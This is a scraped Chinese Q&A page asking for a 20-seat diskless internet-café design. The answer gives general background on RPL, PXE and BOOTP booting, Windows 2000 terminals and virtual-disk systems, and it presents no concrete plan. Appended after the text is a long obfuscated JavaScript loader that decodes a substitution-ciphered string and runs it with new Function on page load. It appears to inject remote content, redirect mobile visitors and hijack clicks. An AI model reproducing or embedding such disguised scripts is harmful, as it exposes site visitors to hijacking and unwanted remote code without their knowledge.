求一个20台无盘网吧的设计方案?

2025-02-06 05:53:36
推荐回答(1个)
回答1:

无盘网吧,是指采用无盘网络系统的网吧。网吧机器分为服务器和无盘客户机两个部分。
  服务器一般配置较好,内有一个速度快,容量高的硬盘,或者是几块硬盘用陈列卡并在一起,目的是好带动其它的客户机。有的服务器使用专业的服务器。
  客户机就是普通的电脑,只是没有硬盘。但是在机器的网卡上有个启动引导芯片。
  任何文件必须从服务器适时调用。这样可以节约一大笔硬盘的费用!
  服务器上的硬盘要求大。装有本机使用的操作系统,和其它客户机使用的操作系统,以及网吧里常用的各种各样的游戏或者是其他软件。
  早期的无盘网络里客户机不允许随便下载,例如名智98无盘,一般对会对下载进行各种限制。现在流行的XP系列无盘,广泛采用了磁盘快照等技术,可以自由下载。
  无盘服务器有的采用windows2003或2000作为系统平台,也有的采用Linux或者Novell NetWare,甚至也有采用windows XP和windows 98的,一般来说,得益于linux稳定的内核,采用linux作为平台的无盘系统要比用windows的稳定,例如网众无盘。
  总的来说,无盘工作站是由网卡的启动芯片或者集成在BOIS中的启动程序以不同的形式向服务器发出启动请求号,服务器收到后,根据不同的机制,向工作站发送启动数据,工作站下载完启动数据后,系统控制权由Boot ROM转到内存中的某些特定区域,并引导操作系统。根据不同的启动机制,目前比较常用无盘工作站可分为RPL、PXE和 虚拟硬盘等启动类型,而Windows 2000终端从其原理来说,并不属于无盘工作站,它也可以用终端卡或硬盘引导系统,进入工作站操作系统后,再连接Windows2000 服务器,而这个连接程序与一般的应用软件并没有什么本质区别,我们把它归结到无盘网络的原因是:目前大多数的终端都是先通过RPL或PXE启动无盘到DOS或Windows3x,再从无盘站中连接,成为终端,一般来说无盘网络泛指工作站中没有软驱和硬盘的网络,无论它是采取何种方式达到这一目的的,目前台湾顺昱公司研发的基于Electronic Disk Communication电子硬盘(eDisk)系统,我们将它称为伪无盘系统,但因它也具备无盘网络的特点,所以也可以把它归结到无盘网络中来。
  近年来,无盘技术发展十分迅速,产生了大量的分支,因此根据角度的不同,主要有以下几种分类方式:
  1. 按启动类型主要有:RPL、PXE和Bootp。
  2. 按工作站的操作系统:DOS无盘系统、Windows 32无盘系统、Windows 95无盘系统、Windows 98无盘系统、纯Windows 2000及 XP 无盘系统、Windows 2000终端及Windows XP远程桌面。
  3. 按服务器操作系统:基于Windows 2000的无盘系统、基于Windows NT 4.0的无盘系统、基于Windows XP下的无盘系统、基于Novell NetWare的无盘系统及基于Linux的无盘系统,基于Windows 98的无盘系统。
  4. 根据系统是否具有移植能力可以分为:PNP(即插即用)系统非PNP系统。
  5. 根据所使用工具的不同进行分类: 使用Intel PDK+Litenet的无盘系统、使用国产相关第三方工具的无盘系统、使用Boot-NIC+3COM PXE的无盘系统。
  6. 按虚拟磁盘分类:3Com VLD、Boot-NIC、BXP和Edisk等。
  以上分类是可以组合有的,例如:基于Windows 2000 Server+3Com Dabs+Litenet15的PXE无盘Windows 98系统,请注意它们间的组合并不是任意的,例如基于Windows NT的RPL 纯无盘Windows 2000就是不存在的。
  1. RPL启动工作原理
  RPL为Remote Initial Program Load的缩写,启动过程分析如下:
  客户机开机后,初始化网卡,网卡BootROM上固化的软件向网络广播一个FIND帧,即引导请求帧,该帧中包含有客户机的网卡ID号。
  服务器端的远程启动服务接收到客户机广播的FIND 帧后,根据帧中所带的网卡ID号在远程启动数据库中查找相应的工作站记录,如果不存在这样一个记录,引导过程不能继续;如果此工作站记录已经存在,远程启动服务则发送一个FOUND 帧给客户机的RPLROM,FOUND帧中已包含了服务器的网卡ID。
  当网络上有数台服务器在运行远程启动服务时,RPLROM有可能会接收到多个FOUND帧,但RPLROM只对它收到的第一个FOUND帧有反应,它将根据第一个FOUND帧中所带的服务器网卡ID号,返回一个SEND.FILE.REQUEST帧给对应的服务器。SEND.FILE.REQUEST帧是一个要求服务器发送文件的请求。
  服务器端的远程启动服务在收到SEND.FILE.REQUEST帧后,将根据远程启动数据库中的工作站记录查找对应的启动块(BootBlock)——在实际配置时我们知道,它位于NETBEUI目录,名为DOSBB.CNF和W95BB.CNF——用FILE.DAT.RESPONSE帧将启动块送回客户机端的RPLROM。
  RPLROM在收齐所有的FILE.DAT.RESPONSE帧后,将执行点转向启动块的入口,启动工作站。工作站以Windows 95实模式启动后,将创建一个RAM盘,并将Windows 95实模式文件从远程启动服务器拷贝到RAM盘,加载Windows 95实模式网络设备启动并建立一个到SBS服务器的连接。最后,连接到该客户机的计算机目录(Machine Directory)所在的服务器上,并根据计算机目录中的有关设置及数据完成Windows 95启动过程。
  2 PXE启动原理
  推出了PXE远程无盘引导技术是由Intel推出的,配合Qualystem公司的LiteNet,最初选用台湾DTK公司的E-Terminal,成功地实现了Windows 98的远程启动和运行,并使可靠性和稳定性都大大提高。Windows 98的各种应用软件只需通过简单的几个步骤即可加到无盘工作站上,并可随时升级和扩充,其简便的安装方式和构架,很快得到了业内人士的认可,并广泛流行起来。
  PXE是RPL的升级品,它是Preboot Execution Environment的缩写,意思为预置启动环境。它们的不同之处在于RPL是静态路由,而PXE是动态路由。其通信协议采用TCP/IP,与Internet连接高效而可靠,PXE无盘工作站的启动过程分析如下:
  ¨ 客户端个人电脑开机后, 在 TCP/IP Bootrom 获得控制权之前先做自我测试。
  ¨ Bootprom 送出 BOOTP/DHCP 要求以取得 IP。
  ¨ 如果服务器收到个人电脑所送出的要求, 就会送回 BOOTP/DHCP 回应,内容包括:客户端的 IP 地址,预设网关,及开机影像文件。否则, 服务器会忽略这个要求。
  ¨ Bootprom 由 TFTP 通讯协议从服务器下载开机影像文件。TFTP协议为Trivial File Transfer Protocol缩写,意为:简单文件传输协议,TFTP可以看成一个简化了的FTP,主要的区别是没有用户权限管理的功能,也就是说TFTP不需要认证客户端的权限,这样远程启动的客户机在启动一个完整的操作系统之前就可以通过TFTP下载启动映象文件,而不需要证明自己是合法的用户。
  ¨ 客户机通过这个开机影像文件开机,这个开机文件可以只是单纯的开机程序也可以是操作系统。
  ¨ 开机影像文件将包含 kernel loader 及压缩过的 kernel, 此 kernel 将支持NTFS root系统。
  ¨ 并开机影像文件在工作站内存模拟成磁盘,从这个模拟磁盘启动。
  ¨ 在实模式下连接服务器,将无盘启动预置好各种环境,例如操作系统所在路径,相关注册表的调整等。
  ¨ 实模式向保护模式下切换。(最后两点只有无盘Windows 98时才存在)
  PXE有以下优点:
  ¨ 因为其能支持Windows 98远程启动,所以现有的各种应用软件都能得到非常好的应用。由于系统本机内存为64MB,虚拟内存大小可在服务器自由设定,另具有3D图形视觉增强和AC97 CODEC软件音频功能,相对终端或RPL Windows 95来说增强了多媒体功能。
  ¨ PXE还有一个最大的优点就是安全性,不管多少个台工作站,系统和应用软件只需安装一套 ,对用户的权限是在服务器上设定的,用户可以在自己的目录下随便操作,若有了误操作,重新启动便可以完全恢复。
  ¨ 操作维护简便,升级软件只需向服务器重新传一遍系统,所有工作站便已全部升级了。工作站的ip地址由服务器自动给予,不用逐台设置。
  ¨ 多种操作系统及网络产品都支持PXE,作为新一代远程启动技术的代表各大公司的软硬产品都支持PXE系统。例如:Intel公司的PXE PDK、3Com Dabs和Linux。很多内置网卡的主板都预置这PXE启动代码,这给PXE技术的发展奠定的良好的基矗
  3. BOOTP协议原理
  BOOTP的是BOOTSTRAP PROTOCOL的简称,是一种比较早出现的远程启动的协议,Bootp最早出在UNIX系统中,负责Unixt终端的远程启动,直到目前仍是UNIX及之后的Linux系统中最常用的方式,它在基于Windows的无盘网络运用较少,但随着Windows 2000不支持RPL远程启动,并且以TCP/IP作为默认安装网络协议,逐步表明今后的Windows也将以TCP/IP协议作为主要的发展方向,纯TCP/IP的网络将是今后发展的方向。
  我们经常用到的DHCP服务就是从BOOTP服务扩展而来的。BOOTP协议使用TCP/IP网络协议中的UDP 67/68两个通讯端口。 BOOTP主要是用于无磁盘的客户机从服务器得到自己的IP地址、服务器的IP地址、启动映象文件名、网关IP等等。它的简单启动过程为:
  ¨ 由BOOTROM芯片中的BOOTP启动代码启动客户机,此时客户机还没有IP地址,它就用广播形式以IP地址0.0.0.0向网络中发出IP地址查询的请求,这个请求帧中包含了客户机的网卡MAC地址。
  ¨ 网络中的运行BOOTP服务的服务器接收到的这个请求帧,根据这帧中的MAC地址在BOOTPTAB启动数据库中查找这个MAC的记录,如果没有此MAC的记录则不响应这个请求,如果有就将FOUND帧发送回客户机。FOUND帧中包含的主要信息有客户机的IP地址、服务器的IP地址、硬件类型、网关IP地址、客户机MAC地址和启动映象文件名。
  ¨ 客户机就根据ROUND帧中的信息通过TFTP服务器下载启动映象文件,并将此文件在工作站内存模拟成磁盘,从这个模拟磁盘启动。
  在PXE启动中可以采用动态分配IP的DHCP方式,也可以采用固定IP方式的BOOTP方式,但它的应用场合不同,若为单一的无盘网络可采用DHCP方式简化管理,若为多个网络互连的结构,则使用指定IP的Bootp方式更为合理一些。
  4 Windows 2000终端(WBT)的特点及纯软件终端启动原理
  WBT(Windows Based Termintal)是Windows2000 Server/Advanced Server推出的一项标准服务,它允许用户以Windows界面的客户端访问服务器,运行服务器中的应用程序,使用户就像用自己的计算机一样。 在WBT的网络中,所有应用软件的安装、配置、运行和存储等均在服务器上进行,客户机(终端)只作为输入输出设备。当终端用户登录到服务器后,就可以像使用本地资源一样使用服务器上的资源,运行服务器上Windows应用程序。多个终端用户可以同时登录到服务器上,互不影响地工作。这样的网络十分容易进行集中管理,很适合学校和中小企业的局域网构建。WBT的这一特点跟早期的UNIX的字符终端类似,但WBT的优势在于它是基于Windows的,具有友好的图形界面和Windows的易用性。另外,在WBT的网络环境下,网络传输的数据主要是键盘和鼠标的输入信息与显示器的输出信息,数据的处理都在服务器上进行,这就大大减少了网络的传输量。
  此方案中将原本要淘汰的386、486计算机作为终端使用,有利于资源的再利用;同时,安装软件及运算等都在服务器上进行,一般情况只需维护一台服务器就行,对于软件及防病毒的管理也降低了,所以利用该方案大大降低了总体拥有成本,节省了大量的资金。它有以下一些特点:
  ¨ 运算、存储都在服务器内进行,安装软件只需安装在服务器上一份,所有终端就都可以使用;所有终端用户的文件都各自独立地存放在服务器上,即使掉电,也不会造成资料丢失;
  ¨ 机房维护由维护每一台PC,转变为维护一台服务器,维护成本大大降低;总拥有成本(TCO)大大降低;
  ¨ Windows2000 服务器版本是最新的服务器操作系统,性能非常稳定,整个系统的稳定性得到可靠保障;
  ¨ Windows2000 终端的界面是标准的 Windows风格界面,使用最新的Windows2000 的界面,用户非常熟悉,无需特殊培训;
  ¨ 能满足对因特网的需求;应用当今流行软件时单机反映速度快;使用 Windows终端与使用PC完全相同,所以在 Windows终端上的学习经验,可以应用到PC上;
  ¨ 管理和控制性强:终端服务器能够对终端进行管理,设定终端机运行的软件,同时能对终端机进行随时监控。
  纯软件终端的启动原理:它的启动原理前一部分与RPL或PXE无盘启动原理完全相同,这里就不再详述了,后一部分的连接是基于Windows 2000多用户、多任务的基础上的终端服务,在工作站上安装由微软提供的32位的连接程序,或由第三方的提供的16位或32位在DOS、Windows 3x或Windows 9x无盘站安装连接程序,并设置好连接属性,然后在启动无盘站时将其连接命令加到DOS站的开机批处理,或加到无盘Windows 的启动组,使其自动连接Windows 2000服务器。在终端安装Windows CE,服务器端安装Windows 2000专业版,终端启动以后透过RDP协议运行服务器端的应用程序,服务器端进行应用程序运算后同样透过RDP协议将结果在终端显示。
  5 基于虚拟硬盘的无盘网络
  所谓虚拟硬盘方式,指的是在工作站启动时,用软件将部分内存结合服务器的一块硬盘空间,为工作站虚拟出一个或多个本地硬盘的方式,例如:早期的3Com VLD系统、较新的Boot-NIC系统和最新的BXP系统,也有一些基于硬件的虚拟硬盘的解决方案,例如:Edisk 系统。目前只有基于虚拟硬盘的无盘网络能够很好地解决系统文件共享冲突的问题,且很容易实现多种操作系统的无盘启动,即工作站可以无盘启动Windows 2000、Windows XP 甚至是Linux。
  基于虚拟硬盘的无盘网络的工作原理:
  对于纯软件方式,一般是先在有盘工作站作好一个为系统,再上传至服务器为工作站准备的虚拟硬盘文件中。无盘启动时,先以PXE的方式启动到实模式下,连接服务器,并根据配置文件连接虚拟硬盘映象文件,再将控制权转到虚拟硬盘中,从而完成保护模式下的切换。
  对于基于硬件的虚拟硬盘方式,它是通过最标准、最普及的以太网络(Ethernet)用来传输eHD与eDisk间的数据,它们是建立在eDC传输协议基础之上的。(eDC全名是Electronic Disk Communication.台湾顺昱公司研发出一种传输协议),实现了Client SAN即客户端储存局域网络架构,它具有早期大型机体系的集中管理集中存储的优点,又有NC的分布式计算的特性(即完全利用了Client的硬件资源),还有对个人用户来说完全和PC一样,不论软硬件的使用,功能和兼容性.即整个客户端储存局域网络Client SAN的应用效果和使用方法与真正PC联网一样,但又管理容易,大幅度降低了企业IT环境的服务可用性总成本(total cost of service availability , TCSA)但一次性软硬件投资较大,在一些对多媒体性能要求较高的场合可以考虑使用。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();